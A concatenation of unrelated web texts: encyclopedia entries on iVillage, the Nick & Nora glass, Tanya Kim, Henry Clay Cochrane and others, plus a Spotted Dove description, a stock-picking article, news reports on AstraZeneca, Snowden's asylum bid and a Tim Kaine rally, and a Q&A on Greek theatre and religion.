iVillage, Inc. was a mass media company that operated the ”most popular female-oriented sites” on the internet in the 1990s. In addition to ivillage.com, the company operated iVillage UK, Astrology.com, GardenWeb, and the NBC Digital Health Network. The iVillage website ceased operations on October 31, 2014, and the domain name was redirected to the Today Show website, while the other domain names were sold.
History
The company was established in Silicon Alley in New York City in 1995 by Candice Carpenter, Nancy Evans, and Robert Levitan. The company's first content site was "Parent Soup", an online community channel on America Online. The company soon established other communities such as "AboutWork", "Better Health & Medical", and "Life Soup".
iVillage hosted moderated message boards and chatrooms, and on Parent Soup alone hosted 450 scheduled chat sessions per week. Examples of chat rooms on the Relationships site included: "Dating Dilemmas, Couples Clinic, How to Kiss Better, The Wedding Women, Ms. Demeanor and a chat session for the Ex-Wives Club."
When iVillage launched, it demanded high prices for channel and content area sponsorships, and the first four sponsors were Polaroid, Nissan, Toyota and MGM. iVillage pioneered a new model for online advertising where it worked with advertisers to create custom content that was relevant and useful for the community, but got into trouble when its free site hosting platform was used to harvest keywords and show competitors' ads on commercial sites, while denying this activity when merchants discovered it. iVillage was also caught inserting derogatory terms into the URLs of discussion boards and other user-generated content. When Procter & Gamble Co. began advertising on the Web in 1996, it relented on its notorious demands for pay-per-click pricing deals in order to advertise with iVillage's Parent Soup.
In March 1999, the company became a public company via an initial public offering, offering shares at $24 each. The stock price reached to nearly $100 in the first day of trading and reached over $130 per share within days, valuing the company at over $2 billion. However, by December 2000, after the bursting of the dot-com bubble, the stock price was under $1 per share.
Most of the original management and staff left the company. Controversies had arisen over financing irregularities and company management, and the company had never had a profitable quarter.
In 2001, under new management, the company acquired women.com for $47 million.
In May 2006, NBCUniversal acquired iVillage for $600 million, or $8.50 per share.
In July 2008, the company entered into a partnership with BlogHer, an online news, entertainment and information network for women.
In December 2009, the company relaunched Astrology.com.
The site was shut down and redirected to the website of Today.com in 2013.
In 2015, Astrology.com was acquired by Horoscope.com and GardenWeb.com was acquired by Houzz.
Television show
iVillage Live (later In the Loop with iVillage) was a daily series intended for broadcast syndication which served as a brand extension attempt to extend the iVillage brand to television. The series never extended beyond the 9 NBC Owned Television Stations, and went through two different iterations before ending after 15 months, airing between December 4, 2006, and March 28, 2008.
The first iteration of the series originated from Universal Orlando Resort as one of NBC's first major on-air synergy efforts with the recently acquired Universal Studios. WTVJ/Miami held production responsibilities for the series, which was hosted by a group of relatively unknown hosts, including Molly Pesce, Stefani Schaeffer and Guy Yovan, with Naamua Delaney and Bob Oschack as contributing correspondents. The show also aired on a one-day delay on Bravo when it launched, but the repeats ended on Bravo after 3 weeks.
The first season format was deemed unsuccessful, but NBC continued to see potential in an iVillage series, along with the aspect of using former contestants from the Donald Trump-hosted reality television series The Apprentice to boost the show's profile for possible nationwide syndication in the 2008–09 season. On September 4, 2007, NBC Universal Television and iVillage.com announced the relaunch of IVillage Live as In the Loop with iVillage, referencing the Chicago Loop. Premiering on September 17, it originated from Chicago, being filmed from the NBC Tower and being originated by Chicago NBC O&O WMAQ-TV. Hosts for In the Loop included actress Kim Coles, along with the aforementioned Apprentice alums, including first season winner Bill Rancic and fellow contestant Ereka Vetrini.
In the end, In the Loop was unable to maintain any ratings momentum, and was unable to complete the 2007-08 television season or acquire distribution on stations outside NBC (and by its end, its connections with iVillage were limited to polls and discussion forums). On February 18, 2008, the series was cancelled. Production of the series continued until March 21, followed by a week of rebroadcasts; the final original episode was re-aired on March 28. | WIKI |
Nick & Nora (glass)
A Nick & Nora glass is a stemmed glass with an inverted bowl, mainly used to serve straight-up cocktails. The glass is similar to a cocktail glass or martini glass.
Use of the glass became widespread beginning in the late 1980s, when bartender Dale DeGroff had several made for the Rainbow Room restaurant in New York City. The design was found in a 1930s catalog under the name "Little Martini"; DeGroff was looking for a small, delicate glass to counter the large conical martini glasses popular at the time. DeGroff's protégé Audrey Saunders spread the use of the glass to other bars in subsequent years. In the present day, the glass is found in numerous manufacturer catalogs and in upscale bars across the United States, Canada, and the United Kingdom.
Design
The glass has a long stem, a high-sided bowl, a narrow mouth, and a moderate capacity (of about 5 usoz). It is considered a more elegant alternative to the large wide-mouthed martini glasses that were popular in bars in the 1980s. The glass's tighter bowl and straighter sides hold in aromas better than the wider martini glasses, are more spill-resistant, and keep cocktails colder longer. The glass also represents a coupe, though with a smaller diameter and higher sides.
History
The glass was named by bartender Dale DeGroff for Nick and Nora Charles, a pair of fictional detectives. DeGroff was hired to lead the bar program at the Rainbow Room restaurant in New York City in 1987. There he made a list of classic and forgotten pre-Prohibition cocktails. These would have been served in small, delicate glasses, unlike the large conical glasses popular in the 1980s. He asked the Manhattan-based Minners Designs for a cocktail glass, like the one seen in the Thin Man films, glasses in which the characters Nick and Nora served martinis. The firm sent over their 1930s catalog, where DeGroff found a glass called the "Little Martini", and had new molds created in order to reintroduce production of the glass.
The glass was first used in the Rainbow Room in 1987. DeGroff would order new glasses using the "Nick & Nora" name, though Minners Designs kept the "Little Martini" name. After several years, Minners sold many of its catalog items, including the glass, to Steelite International. This company renamed the glass to formally become the "Nick & Nora".
Audrey Saunders, a protégé of DeGroff, spread the glass to other bars, and it became a key part of the glassware at her own bar, Pegu Club in New York City. Saunders served classic martinis in the glass, attempting to break preconceptions that larger drinks are better. Other bars followed her lead, including Please Don't Tell and Death & Co., both in the East Village in Manhattan.
The glass is now produced by numerous manufacturers, and sold by notable companies including Riedel and Crate & Barrel. Variations have emerged, including etchings, silver or gold lined rims, and acrylic versions of the glass.
Use
Wine Enthusiast recommends the glass for serving the Old Pal and Bijou cocktails. Tasting Table indicates that the glass is ideal for any drink served without ice, and can be used for aperitifs, liqueurs, vermouths, wine, and other beverages. | WIKI |
Tanya Kim
Tanya Kim is a Canadian television personality, best known as the co-host of etalk from 2003 to 2014.
Early life
Kim was born and raised in Sault Ste. Marie, Ontario to Korean immigrant parents. Her grandmother moved from Seoul to Canada to raise Kim and her older brother, Richard. She studied classical piano and dance, and attended Sherry Walsh Academy of Dance Arts and Davey Dance Company in Sault Ste. Marie. Kim graduated from Sir James Dunn Collegiate and Vocational School and attended Ryerson Polytechnic University, graduating from the journalism program, specializing in broadcasting. While at Ryerson, she volunteered at campus station CKLN-FM as an announcer and voice over artist, and worked as an intern at MuchMusic.
Career
After graduating, she worked as a videographer at MuchMusic before joining CTV's The Chatroom as a music reporter and becoming special correspondent for Canadian Idol for two seasons. In 2003, she joined etalk, co-hosting the show with Ben Mulroney.
On etalk, Kim has worked red carpets at the Juno Awards and the Academy Awards, and covered special events like Live 8 and Live Earth. In 2009, Kim hosted We Day, in support of Free The Children, for the third year in a row.
Kim also hosted etalk Playlist in 2005, a six-episode chart show/concert mini-series that expanded on etalk ' s Playlist segment. The series was broadcast before a studio audience from the Masonic Temple concert hall. The 30-minute shows included live studio performances, interviews, news and chart reviews.
In February 2010, Kim joined etalk host Ben Mulroney along with etalk reporters Leah Miller, Elaine Lui, Susie Wall and Jeanne Beker in Vancouver to cover the 2010 Olympic Winter Games for CTV. In November 2014, she was laid off by Bell Media, which runs CTV.
In 2015 Kim returned to CityTV as host of Entertainment City and Your World This Week. Kim's departure from City was announced in August 2017.
Aside from her work on etalk, Kim has appeared in Puppets Who Kill, Degrassi: The Next Generation, Instant Star, and the film Glitter starring Mariah Carey.
Charity work
In November 2008 Tanya Kim announced a partnership with CARE Canada, a major humanitarian and international development charitable organization, to promote CARE Canada's I Am Powerful women's empowerment campaign. She travelled to Zambia to generate awareness and gain first-hand knowledge of the strength and resiliency of women in the developing world. | WIKI |
Henry Clay Cochrane
Henry Clay Cochrane (November 7, 1842 – April 27, 1913) was an officer in the United States Marine Corps during the latter half of the 19th century and early 20th century. He participated, most notably, as a newly minted 2nd lieutenant in the American Civil War, and later the Spanish–American War, where he served as executive officer of the 1st Marine Battalion during the 1898 landing at Guantanamo Bay, as well as the Boxer Rebellion of 1900, where he was involved with the China Relief Expedition commanding the 1st Regiment of Marines. At the time of his death in 1913, he was on the retired list as holding the rank of brigadier general.
Service history
During the Civil War, then Lieutenant Cochrane accompanied President Abraham Lincoln as a member of his guard at the dedication ceremony for the new Gettysburg Battlefield Cemetery where Lincoln delivered his famed Gettysburg Address.
Assigned to the steam-sloop USS Plymouth, North Atlantic, West Indies and Centennial Exposition of 1875–78, commanding captain Edward Barrett on the cruise of USS Plymouth five hundred miles up the Mississippi River to Vicksburg, in the spring of 1877.
In the latter part of the 19th century, Henry Clay Cochrane became an ardent advocate for reform within the antiquated Marine Corps. Among other things, his recommendations for changes to the Marine uniform, which had not been updated in 12 years, partly resulted in the adoption of the Eagle, Globe, and Anchor as the new Marine emblem in 1868, a uniform device which is still in use today.
As a captain serving as the fleet Marine officer on board the sloop-of-war USS Lancaster, flagship of the European Station, he was present at the bombardment of Alexandria, Egypt, by the British Fleet in July 1882. During the operation, he accompanied a landing party along with Lieutenant Littleton W. T. Waller consisting of a mixed bluejacket and Marine force to suppress looting and to protect the U.S. consulate. The Naval landing force of sixty-nine sailors and sixty-three Marines was formed, with Lieutenant Commander Charles Goodrich in command and Captain Cochrane as executive officer. Two companies comprised the force, the sailors under Navy Lieutenant Frank L. Denny and the Marines under Lieutenant Waller. The timely arrival of the ships of the European Squadron and their landing forces gave protection to the American consulate and to American citizens and interests caught up in the fighting and also afforded a refuge for the citizens of other nations who had been displaced from their homes or businesses. Advancing cautiously through the burning and rubble strewn streets, the Americans reached the Grand Square of Mehmet Ali, the heart of the city. The American Consulate was here, and it became the headquarters of the force. Although the French troops had abandoned the city and cautiously returned to their ships, the Marines secured the Grand Square and began to patrol the streets of the European Quarter, as the international business and consular area was called. Cochrane, Waller and their Marines were assigned to Lord Charles Beresford’s British force for the protection of the European Quarter. The anticipated rebel counterattack never came, and a ten-day standoff ended with the arrival of the four thousand-man British relief force. According to the Times of London:
"Lord Charles Beresford states that without the assistance of the American Marines he would have been unable to discharge the numerous duties of suppressing fires, preventing looting, burying the dead, and clearing the streets."
Cochrane was also present at the coronation of Czar Alexander III at Moscow in May, 1883. In 1898, then Major Cochrane was appointed second in command of the 1st Marine Battalion under Lieutenant Colonel Robert W. Huntington and participated in the landing at Guantanamo Bay, Cuba, during the Spanish–American War. During the Boxer Rebellion of 1900, he commanded the 1st Marine Regiment as part of the China Relief Expedition.
Henry Clay Cochrane retired from active duty as a colonel in 1905, bringing to an end 42 years of service in the Marines.
In 1911, he was promoted to brigadier general on the retired list.
General Cochrane died on April 27, 1913, at the age of 71 in Chester, Pennsylvania.
Memberships
After the Civil War, Cochrane was elected as a Veteran Companion the Pennsylvania Commandery of the Military Order of the Loyal Legion of the United States and was assigned insignia number 455. In 1898, following his service in the Spanish-American War, he became a Companion of the Pennsylvania Commandery of the Military Order of Foreign Wars and was assigned insignia number 171.
Awards
* Civil War Campaign Medal
* Spanish Campaign Medal
* China Relief Expedition Medal | WIKI |
Umar (film)
Umar (lit. : Age) is a 2006 Indian crime-drama film directed by Karan Razdan. The film stars Jimmy Sheirgill, Kader Khan, Satish Kaushik, Prem Chopra in lead roles, with Shenaz Treasurywala, Shakti Kapoor, Dalip Tahil and Rez Kempton in supporting roles. The film story follows a young man played by Shergill who has been framed for a crime he did not even commit and is on the run from the police, aided with three elder men played by Khan, Kaushik and Chopra.
Plot
Chandrakant Mehta (Prem Chopra), Rajpal Singh (Satish Kaushik) and Iqbal Khan (Kader Khan) are best friends, living their last years in United Kingdom. The lives of the men are complicated as Mehta and Singh are mistreated as servants by their own children and Khan is victim of racial discrimination from the British community. However, they find solace and love in form of a caring young man Shashank Dutt (Jimmy Sheirgill). Shashank is a student and works as a part-time waiter and singer in a bar for a living and is in love with Sapna Lakha (Shenaz Treasurywala), daughter of a rich business tycoon Prem Lakha (Shakti Kapoor). Sapna introduces Shashank to her father for marriage but the latter disagrees because of Shashank's status. However, the owner of the bar Victoria falls for Shashank and he rejects her advances, as he is still loyal to Sapna. But one day Victoria gets murdered and all the evidences points towards Shashank. Shashank is arrested and jailed by the police thereafter. After learning this incident, the three men help Shashank in his escape, which also turns them into fugitives as well.
Cast
* Jimmy Sheirgill as Shashank Dutt
* Shenaz Treasurywala as Sapna Lakha
* Kader Khan as Iqbal Khan
* Prem Chopra as Chandrakant Mehta
* Satish Kaushik as Rajpal Singh
* Shakti Kapoor as Prem Lakha
* Dalip Tahil as Ben Chibber (Banwari)
* Rez Kempton as Girish Mehta
* Varun Juneja as Chucky Singh
Critical reception
Film critic Taran Adarsh from Bollywood Hungama rated the film 1.5 out 5. Akash Gandhi rated the film 7.5 out of 10, praising the performances and direction of the film. Priyanka Jain from Rediff criticised the film with no ratings.
Music
All music composed by Shamir Tandon.
Trivia: Duniyawalon, a Qawwali, is the last released song Of the legendary singer Manna Dey
* 1) "Aankhon Mein Tum" - Hariharan, Sunidhi Chauhan
* 2) "Akele Mein Hum To Ghabhra Gaye'"- Babul Supriyo
* 3) "Bechein Sansein" - Bhupinder Singh
* 4) "Duniyawalon Ko Nahi Kuch Bhi" - Sonu Nigam, Manna Dey, Shabab Sabri, Kavita Krishnamurthy
* 5) "Kumari Chadke" - Jagjit Singh
* 6) "Piya" - Om (band) | WIKI |
Riki Blich
Rivka "Riki" Blich (ריקי בליך; born September 29, 1979) is an Israeli actress and comedian.
She was born to parents who immigrated from Soviet Russia in 1973.
1991
In 1991, when Riki was 12 years old, she made her debut on Channel 1 in the channel's children's show Headcatching a Head hosted by Nathan Datner along with other young actors such as Dana Devorin.
TV-series
* 2003: Esti HaMekho'eret
* 2004: Ktzarim
* 2005: Elvis, Rosenthal, VeHaIsha Hamistorit
* 2006: Elvis
* 2006: Lo Hivtachti Lach
Films
* 1994: Under the Domim Tree
* 2002: Bechora
* 2004: Delusions
* 2006: A Wedding Film
* 2011: Stitches | WIKI |
Ascochyta tritici
Ascochyta tritici is a fungal plant pathogen that causes Ascochyta leaf spot on barley, wheat and maize. | WIKI |
Talk:Meadowlands Sports Complex
Info on New Stadium and Xanadu project need to be updated, and section on new rail line and station, hence addition of 'Outdated' tag Dayjes (talk) 04:52, 8 March 2011 (UTC)
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* Recovery of possible blanking of race results. Eventually they could/should be moved to race-specific page. Doctorindy (talk) 17:35, 20 September 2011 (UTC)
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Criminal Activities Associated with The Meadowlands Development
Hi. Where are the controversies and criminal activities that were associated with the construction of the Meadowlands in the 1970s, when a number of state officials and private businessmen were tried and convicted for bribery, prostitution and other illegal activities to gain zoning and building approvals? It was one of the largest corruption scandals in United States history. Why isn't it any of the articles on the Meadowlands and its history? Stevenmitchell (talk) 17:04, 1 May 2018 (UTC)
Table showing major tenants with years?
Some sort of chart/table/graphic might help the reader follow what was going on. I do not have the formatting skills.
Short of that, I might try my hand at reorganizing the text so that there is a clearer sense of use and chronology. Jd2718 (talk) 14:44, 17 June 2021 (UTC) | WIKI |
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Spotted Dove (Streptopelia chinensis), also known as the Spotted Turtle Dove, is a pigeon which is a resident breeding bird in tropical southern Asia from India and Sri Lanka east to south China and Southeast Asia. They are also known as the (Indian/Chinese) Spotted Turtle Dove.
It is a common and widespread species in open woodland, farmland and habitation over a good deal of its natural range, and this successful bird has also been introduced to the U.S. in the Los Angeles, California area. other countries it has been introduced to include northern Indonesia, Australia and New Zealand. In Australia, it was introduced in Melbourne in the 1860s and has since spread, often replacing native doves. In Australia, they are now found in streets, parks, gardens, agricultural areas and tropical scrubs, from Hobart, Tasmania to Cooktown, Queensland to Port Lincoln, South Australia. They can also be seen in Perth, Pemberton, Kalgoorlie and Esperance, in Western Australia. The species' range is expanding.
This species builds a stick nest in a tree and lays two white, glossy eggs. In southern Australia, they breed mostly from September to January, and in the north in Autumn. Its flight is quick, with the regular beats and an occasional sharp flick of the wings which are characteristic of pigeons in general.
Spotted Dove is a long-tailed, slim pigeon, ranging in length from 28 to 32 centimetres (11.2 to 12.8 inches). Its back, wings and tail are pale brown, heavily spotted with buff. In flight, it shows blackish flight feathers bordered on the inner edge with pale grey. Sexes are similar, but juveniles are duller than adults often lacking the patchy neckband when very immature.
The head and underparts are pinkish, shading to pale grey on the face and lower belly. There is a black neck patch finely spotted with white. The legs are red. The call is a low and gentle coo-coo-croo, with the emphasis on last note. The call occasionally is "coo-coo krrroo, krook!"
Spotted Doves eat grass seeds, grains and other vegetation. They are fairly terrestrial, foraging on the ground in grasslands and cultivation. It breed all year round with nests commonly found in trees, edge of buildings or even on the ground.
Like some other doves in this genus, they are not particularly gregarious, and are usually alone, or in pairs. It is tame but sudden noises flush them into flight. Flight patterns are similar to the Crested Pigeon. Upon landing, birds tilt their tail upwards. Males on display obtain a steep angle and circle down displaying their wings and tail by spreading them out.
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3 Monster Stocks -- including Nvidia -- to Hold for the Next 10 Years
Nvidia has been growing by an average of more than 70% annually.
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The S&P 500 index tracks the stock performance of America's biggest companies, and it has averaged annual gains of roughly 10% over multiple decades. That's pretty darn good performance, enough to more than quintuple an investment over 15 years for those who purchased exchange-traded funds (ETFs) mirroring the index.
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In the table below, you'll see that the S&P 500 has been growing at a much faster rate over the past 15 years compared to its long-term 10% average. That outsized performance is due, in part, to the eye-popping average annual gains of some of its components, including what some might label as monster stocks, that have managed monster performances.
Data source: Morningstar.com as of June 6, 2025.
These kinds of returns are not guaranteed to continue. Many dynamically growing companies see their growth rates slow as they become massive companies. But a select few manage to keep up that outsized growth. Here's a closer look at three companies with this potential and some reasons why you might want to buy and/or keep holding any of them.
Nvidia got its start as a maker of semiconductor chips for the videogame industry, but it has expanded its scope in the past decade. A side hustle into chip design catered to aid cryptocurrency mining has led to the development of chips and software that are now fueling the artificial intelligence (AI) boom, and it is churning out gobs of chips for data centers -- enough to be the world's leading supplier of graphics processing units for the data centers used in cloud computing.
Data centers have replaced gaming as Nvidia's focus, and the company raked in $39 billion in revenue in fiscal 2026's first quarter from its data center business -- fully 89% of total revenue. Better still, CEO Jensen Huang forecasts that AI infrastructure spending could top $1 trillion annually within a few years, and he sees Nvidia capturing most of that business.
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Intuitive Surgical is a leader in robotic surgery equipment. It has more than 8,600 of its million-dollar-plus da Vinci robotic surgery systems installed in 71 countries. Together, they've been used to perform more than 14 million medical procedures.
I'm a shareholder and I'm hanging on because I expect the company to keep selling and installing surgical systems, and to keep raking in profits from doing so. Notably, Intuitive Surgical derives 84% of its revenue not from the systems themselves, but from dependable recurring sales of servicing, supplies, and accessories for the machines.
Microsoft is a tech giant with many growing operations contributing to its steady growth. It's home to the dominant Office 365 suite of applications, the Azure cloud computing platform, the Xbox gaming platform, the Windows operating system, and even the business-oriented social media giant LinkedIn, among other ventures.
Microsoft is huge (its market value hovers around $3.5 trillion), but it's still growing at a fairly rapid clip, with some of its recent growth largely attributable to its AI-related ventures. In its third quarter of fiscal 2025, revenue was up by 13% year over year, and net income rose by 18%. Its intelligent cloud division grew by 21%. The company is generating more cash than it needs to spend on growth, so it's paying shareholders a dividend that recently yielded 0.71%. (That might not seem like a lot, but the yield is pushed down because of strong share price performance and the dividend is growing briskly -- up from $2.09 per share in 2020 to $3.24 per share currently.)
Despite the strong share price performance, its stock remains appealingly valued, too, with a recent forward P/E of 31 only a bit above the five-year average of 30. Given the steady growth, the stock seems well worth hanging on to for the next decade -- and beyond.
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-- AstraZeneca May Advance at Least 8 Drugs to Final Tests by 2015
AstraZeneca Plc (AZN) aims to advance at
least eight medicines into late-stage tests within three years,
one of its top research and development executives said today. “We’ve set our R&D organization a goal of delivering eight
to 11 Phase 3 projects,” Menelas N. Pangalos, executive vice
president of the company’s Innovative Medicine Research Units,
told reporters at a briefing in London. “That’s more than we’ve ever done and that’s going to make
us more competitive in terms of our peer group,” Pangalos said. The company also made two announcements on early-stage
research today. AstraZeneca bought a portfolio of potential
nervous-system disorder treatments from Link Medicine Corp., and
said it will participate in an alliance of four academic
laboratories studying a risk factor for Alzheimer’s disease . London-based AstraZeneca is the U.K.’s second-biggest
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Jennys skin was white, her fingers small, Moggy she was slender straight and tall, But my Love here bears away the Bell from all; For her I Sigh, For her I dye, In a Wild dispair: Never Man in Woman took such joy, Never Woman was to man so coy, She'll not be my hony, For my Love or mony, Welladay, what Torment I mun bear. | WIKI |
-- Snowden Seeks Russian Asylum as Putin Says Leaks Must End
President Vladimir Putin said Edward Snowden must quit hurting American interests if he wants to
remain in Russia , after an official said the fugitive U.S.
whistleblower applied for asylum here. “If he wants to stay, there’s one condition: He must stop
his activity aimed at harming our American partners, as strange
as it sounds coming from my lips,” Putin, a frequent critic of
U.S. policy, told reporters in the Kremlin yesterday. Snowden,
who also applied for refuge in 20 other countries, according to
WikiLeaks, is unlikely to accept that restriction, Putin said. The Russian president defied U.S. calls last week to hand
over Snowden, who remained stuck in the transit area of Moscow’s
Sheremetyevo airport days after arriving on June 23 from Hong
Kong. The former worker for government contractor Booz Allen
Hamilton Holding Corp. (BAH) has said he was the source of leaks on
top-secret U.S. National Security Agency programs that collect
phone and Internet data. “Our position is the same -- that he should be expelled
and returned home here to the U.S.” to face espionage charges,
State Department spokesman Patrick Ventrell said at a briefing
yesterday when asked about reports of Snowden’s asylum request.
Ventrell said it was “up to the Russians” to confirm it. Snowden’s application was delivered on the evening of June
30 to a visa office at Sheremetyevo by WikiLeaks’ legal adviser
Sarah Harrison, a consular official who received the document,
Kim Shevchenko, said by phone. European Demands Shevchenko said he informed his superiors of the
application and sent it by courier. “I don’t know what has
happened with it since,” he said. European officials demanded more information yesterday on
the latest revelation stemming from Snowden’s releases, a report
in the German magazine Der Spiegel that the NSA eavesdropped and
infiltrated computer networks of the European Union. The report
cited classified documents in Snowden’s possession. “Given the fact that he feels that he is a human-rights
defender, he is unlikely to stop such work, so that is why he
should choose a country of destination and go there,” Putin
said. “When that will happen, unfortunately, I don’t know.” Snowden, 30, can’t be handed over because Russia and the
U.S. don’t have an extradition treaty, Putin has said. “The only country in the world which is ready to enter
into conflict with the U.S. over the fate of the fugitive
American turned out to be Russia,” leading Russian newspaper
Kommersant said in a front-page article today. Ecuador’s Position Snowden had previously requested asylum in Ecuador . U.S.
Vice President Joe Biden asked President Rafael Correa to reject
Snowden’s bid, the Ecuadorean leader said in a radio address
June 29. Ecuadorean officials have said that Snowden would have
to make his way to their country or one of its embassies to
apply in person before they would weigh whether to take him in. Nothing that happens to Snowden can stop the release of
more information he possesses about classified U.S. programs,
said Julian Assange, founder of WikiLeaks, the anti-secrecy
group that publishes government documents on its website. “Great care has been taken to make sure that Mr. Snowden
can’t be pressured by any state to stop the publication
process,” Assange, who’s been holed up at Ecuador’s embassy in
London for more than a year after the country granted him
asylum, said June 30 on ABC’s “This Week” program. ‘Stateless Person’ WikiLeaks posted a statement on its website yesterday that
it attributed to Snowden in Moscow. It quoted him as saying that
“the Obama administration has now adopted the strategy of using
citizenship as a weapon. Although I am convicted of nothing, it
has unilaterally revoked my passport, leaving me a stateless
person.” Harrison filed requests for asylum on Snowden’s behalf with
more than dozen countries on June 30, WikiLeaks said on its
website. In addition to Russia, those countries include Austria ,
Bolivia, Brazil , China , Cuba, Finland , France , Germany , India ,
Italy , Ireland, the Netherlands, Nicaragua , Norway , Poland ,
Spain, Switzerland and Venezuela , joining previous requests to
Ecuador and Iceland , WikiLeaks said. Bolivian President Evo Morales told Russian state-run RT
television today that his country is ready to consider Snowden’s
request. Snowden has a good chance of getting refugee status in
Russia, Svetlana Gannushkina, head of the Moscow-based Civil
Assistance rights group, said on Gazeta.ru. Most countries
require the applicant to be physically on its territory to gain
political asylum, so Snowden’s applications to other nations are
unlikely to be approved, she was cited as saying. ‘Consequences’ The Snowden case has rattled international relations, with
U.S. Secretary of State John Kerry last week warning China and
Russia of “consequences” of their actions in spurning U.S.
extradition requests. U.S. officials later shifted to a more
conciliatory approach, and President Barack Obama said that
“some useful conversations” have been held between the U.S.
and Russia to resolve the issue. Venezuela, whose President Nicolas Maduro said on June 26
that his country would “almost surely” give asylum to Snowden
if he asked for it, may be the fugitive’s last hope for a
destination other than Russia, according to Fyodor Lukyanov, the
editor of Russia in Global Affairs, a Moscow-based foreign
affairs magazine. Maduro and heads of other gas-exporting nations including
Iran and Algeria are attending a meeting in Moscow this week. A
spokesman at Venezuela’s Information Ministry said last night
that he had no information on whether Snowden had requested
asylum from the South American country. Putin said that he didn’t know if any foreign delegations
were planning to take Snowden away. ‘Completely Surprised’ Russia was “completely surprised” by Snowden’s arrival
from Hong Kong, Putin told reporters in Finland on June 25.
Russian authorities were probably informed by the Chinese
government of Snowden’s route although they didn’t plan his
escape, according to Lukyanov. “If Snowden has nowhere to go, maybe Russia will have to
take him in,” Lukyanov said by phone. “It won’t do so exactly
enthusiastically, but it can’t hand him over to the U.S. for
reasons of national prestige.” Russia should protect Snowden and offer him asylum if he
wants it, said Mikhail Fedotov, the head of Putin’s human rights
council. ‘Public Interest’ “His actions were in the public interest and so society
must defend him,” Fedotov said by phone. “We must protect this
person if he ends up on Russian territory and asks for political
asylum.” Helping Snowden is a “matter of principle” for Russia
because handing over a political refugee is “morally
unacceptable,” Alexei Pushkov, the head of the lower house of
parliament’s foreign affairs committee, said on his Twitter
account June 29. Putin’s spokesman, Dmitry Peskov, said June 30 that while
Snowden’s case wasn’t a matter for the Kremlin, the Russian
leadership would take into account the views of human rights
organizations and society. Obama said yesterday that his staff will review the Der
Spiegel article saying the U.S. spied on European diplomats,
declining to say if it was true and explaining that “every
intelligence service” in the world uses its resources “to try
to understand the world better.” Obama, Hollande “I guarantee you that in European capitals, there are
people who are interested in, if not what I had for breakfast,
at least what my talking points might be should I end up meeting
with their leaders,” Obama said at a news conference in Dar es
Salaam, Tanzania. “That’s how intelligence services operate.” Among U.S. allies seeking an explanation was Germany.
Steffen Siebert, chief spokesman for Chancellor Angela Merkel ’s
government, said yesterday that “we aren’t in the Cold War
anymore” and that spying on diplomatic missions would “be
absolutely unacceptable for us.” French President Francois Hollande said that before
proceeding with talks on a proposed U.S.-European trade deal, he
wanted assurances that the U.S. will halt the spying. “What are the consequences to draw?” Hollande said during
a visit to Brittany in northwestern France. “That it stop as
quickly as possible, that is immediately. We can have
negotiations and transactions only once we have these
guarantees.” European Parliament President Martin Schulz said in an e-mailed statement that “if the allegations prove to be true, it
would be an extremely serious matter which will have a severe
impact on EU-U.S. relations.” To contact the reporters on this story:
Henry Meyer in Moscow at
hmeyer4@bloomberg.net ;
Stepan Kravchenko in Moscow at
skravchenko@bloomberg.net To contact the editor responsible for this story:
Balazs Penz at
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How does religion influence Greek theatre?
Greek drama evolved out of religious ritual. Theater had its origins in choral performances in which groups would sing and dance to celebrate religious festivals. The Greek plays of the classical period were performed at religious festivals honoring the god Dionysus.
How important was religion to the beginning of Greek theatre?
The Greek theatre history began with festivals honoring their gods. A god, Dionysus, was honored with a festival called by “City Dionysia”. Athenians spread these festivals to its numerous allies in order to promote a common identity. …
How did Greek religion impact the people?
Greek religion affected their daily lives because they made so many things for their gods and did every day things like sacrifices and games for their gods. Religion also had a big influence on american culture. II. There was a period called Greek Revival in the 1820’s where greek Architecture was directly imitated.
What role did religion play in ancient Greek sport?
The best athletes in Greece competed in different events that were a part of religious life. The games began with a sacrifice to the god Zeus. Because the games were religious, anyone who was caught cheating during the games was never allowed to compete again because cheating was considered disrespectful to the gods.
How did religion influence theatre?
From the perspective of religion, by viewing faith through the lens of theatre, stories and images can be appreciated as truthful and vital without the need for literal, legalistic interpretation. When the gospel story is thought about like a play, new levels of complexity and beauty may emerge.
What was the relationship between religion and theater in Classical Greece?
What was the relationship between theater and religion in Classical Greece? Greek theater developed out of choral hymns sung to the gods (Dionysius in particular) and plays were written for and performed at festivals intended to honor the gods.
How are drama and religion connected?
However, religious practices and dramatic presentation often share many common elements: costume, storytelling, a playing space, and an audience. Also many of the world’s dramatic forms are derived from religious rituals and are still, in some way, connected to religious celebration.
What was the importance significance of theatre in ancient Greek society?
In ancient Greece, theatre was a really big deal. Crowds of 15,000 people would gather to see a play. Theatre was so important to the ancient Greeks that prisoners would be released from jail temporarily, so they could also attend. Every town had at least one theatre.
Which is the unique aspect of the link between Greek theatre and religion? The gods had human form. The performance of a dithyramb included: drinking copious quantities of wine, raucous dancing and phallic worship and animal dismemberment.
How did religion influence Greek architecture?
In ancient Greek their architectural style which stands to represent for order, beauty and democracy. … Religion also played a role in their architecture, it was present in all areas of life because they believed that it would make their lives better while they were living and once they died.
How did Greek gods impact society?
The Greeks believed in gods and goddesses who, they thought, had control over every part of people’s lives. The Ancient Greeks believed that they had to pray to the gods for help and protection, because if the gods were unhappy with someone, then they would punish them. | FINEWEB-EDU |
Kaine: We're not taking North Carolina for granted
ASHEVILLE, N.C.— Democratic vice presidential nominee Tim Kaine took the stage here to an approbative crowd and extended applause, promising a message of economic growth and job opportunities under Hillary Clinton that many North Carolinian voters already seem to be buying. “We’re here because North Carolina is really, really important this year,” Kaine said to thunderous applause, telling the crowd the campaign isn’t taking the battleground state for granted even as Clinton soars in the polls. “I think Democrats are going to have a big, big win.” Kaine also doubled down on Donald Trump’s refusal to release his tax returns after Kaine and Clinton released their 2015 returns on Friday in an effort to turn up the pressure on the GOP nominee. Trump “claims it’s because he’s under audit. If he’s under audit, there’s even more of a reason to release them,” Kaine said. “We released our tax returns because we believe that Americans … have a right to know what is the financial situation of folks who are running to be president and vice president,” he added. What was once a competitive state now is trending increasingly in Clinton's direction, recent polls suggest. Clinton, narrowly beating Trump by about 2 points in June, was up 11 points over the GOP nominee in a Wall Street Journal-NBC poll posted last week. Kaine spoke for about 40 minutes in Asheville, delivering his usual stump speech in his aw-shucks style — “Do we want a ‘you’re hired’ president or a ‘you’re fired’ president,” he asked at one point — but peppered with personal anecdotes about his previous treks to the city, including a perilous-sounding kayaking adventure. “I used to be a kayaker,” Kaine said to a nearly full gymnasium attached to a career center for low-income residents on the outskirts of downtown Asheville, “but there got to be a point when I turned over, I started to think about my life insurance policy.” Near the end of his speech, he highlighted North Carolina’s unconstitutional voting rights law, continuing a trend of late to give the issue a prime spotlight in his stump speeches. The 